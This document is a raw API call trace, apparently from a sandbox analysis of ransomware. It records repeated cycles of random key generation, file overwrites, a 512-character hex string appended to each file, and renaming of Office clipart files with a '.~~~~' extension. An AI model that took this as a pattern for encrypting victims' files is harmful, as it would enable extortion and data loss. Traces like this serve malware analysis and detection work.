	[0097.369] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x542c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x542c, lpOverlapped=0x0) returned 1
	[0097.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.370] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.370] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.370] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.370] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.370] CloseHandle (hObject=0x128) returned 1
	[0097.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.370] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.~~~~")) returned 1
	[0097.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.371] GetLastError () returned 0x0
	[0097.371] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.372] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.372] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.372] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21736250732) returned 1
	[0097.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3c0af10, dwHighDateTime=0x1d60e1e)) 
	[0097.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840b90
	[0097.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840b90 | out: hHeap=0x300000) returned 1
	[0097.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x386088
	[0097.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.373] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.373] GetLastError () returned 0x0
	[0097.373] GetLastError () returned 0x0
	[0097.373] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.373] GetLastError () returned 0x0
	[0097.373] GetLastError () returned 0x0
	[0097.375] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd784, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.375] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x287c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x287c, lpOverlapped=0x0) returned 1
	[0097.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.376] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.376] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.376] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.376] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.376] CloseHandle (hObject=0x128) returned 1
	[0097.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.376] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.~~~~")) returned 1
	[0097.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.377] GetLastError () returned 0x0
	[0097.377] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.378] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0097.378] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.378] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21736805444) returned 1
	[0097.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3c0af10, dwHighDateTime=0x1d60e1e)) 
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840bc8
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0097.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840bc8 | out: hHeap=0x300000) returned 1
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280bfe8
	[0097.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.379] GetLastError () returned 0x0
	[0097.379] GetLastError () returned 0x0
	[0097.379] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.379] GetLastError () returned 0x0
	[0097.379] GetLastError () returned 0x0
	[0097.383] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffca10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.383] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x35f0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x35f0, lpOverlapped=0x0) returned 1
	[0097.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.384] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.384] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.385] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.385] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.385] CloseHandle (hObject=0x128) returned 1
	[0097.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.385] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.~~~~")) returned 1
	[0097.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.386] GetLastError () returned 0x0
	[0097.386] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.387] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0097.387] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0097.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.387] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21737744716) returned 1
	[0097.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3c31070, dwHighDateTime=0x1d60e1e)) 
	[0097.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840c00
	[0097.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840c00 | out: hHeap=0x300000) returned 1
	[0097.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c080
	[0097.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.388] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.388] GetLastError () returned 0x0
	[0097.388] GetLastError () returned 0x0
	[0097.388] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.388] GetLastError () returned 0x0
	[0097.388] GetLastError () returned 0x0
	[0097.390] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdfd0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.390] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x2030, lpOverlapped=0x0) returned 1
	[0097.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.391] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.391] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.391] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.391] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.391] CloseHandle (hObject=0x128) returned 1
	[0097.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.391] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.~~~~")) returned 1
	[0097.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.392] GetLastError () returned 0x0
	[0097.392] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d8b40) returned 1
	[0097.393] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0097.393] CryptReleaseContext (hProv=0x28d8b40, dwFlags=0x0) returned 1
	[0097.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0097.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.393] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21738359149) returned 1
	[0097.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3c31070, dwHighDateTime=0x1d60e1e)) 
	[0097.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840c38
	[0097.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840c38 | out: hHeap=0x300000) returned 1
	[0097.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c118
	[0097.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.394] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.394] GetLastError () returned 0x0
	[0097.394] GetLastError () returned 0x0
	[0097.394] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.394] GetLastError () returned 0x0
	[0097.394] GetLastError () returned 0x0
	[0097.440] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd238, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.440] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2dc8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x2dc8, lpOverlapped=0x0) returned 1
	[0097.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.440] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.440] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.441] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.441] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.441] CloseHandle (hObject=0x128) returned 1
	[0097.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.~~~~")) returned 1
	[0097.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0097.442] GetLastError () returned 0x0
	[0097.449] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0097.450] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.450] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0097.450] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21743994772) returned 1
	[0097.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa3cc95f0, dwHighDateTime=0x1d60e1e)) 
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9fd8
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9fd8 | out: hHeap=0x300000) returned 1
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c1b0
	[0097.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.450] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0097.451] GetLastError () returned 0x0
	[0097.451] GetLastError () returned 0x0
	[0097.451] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0097.451] GetLastError () returned 0x0
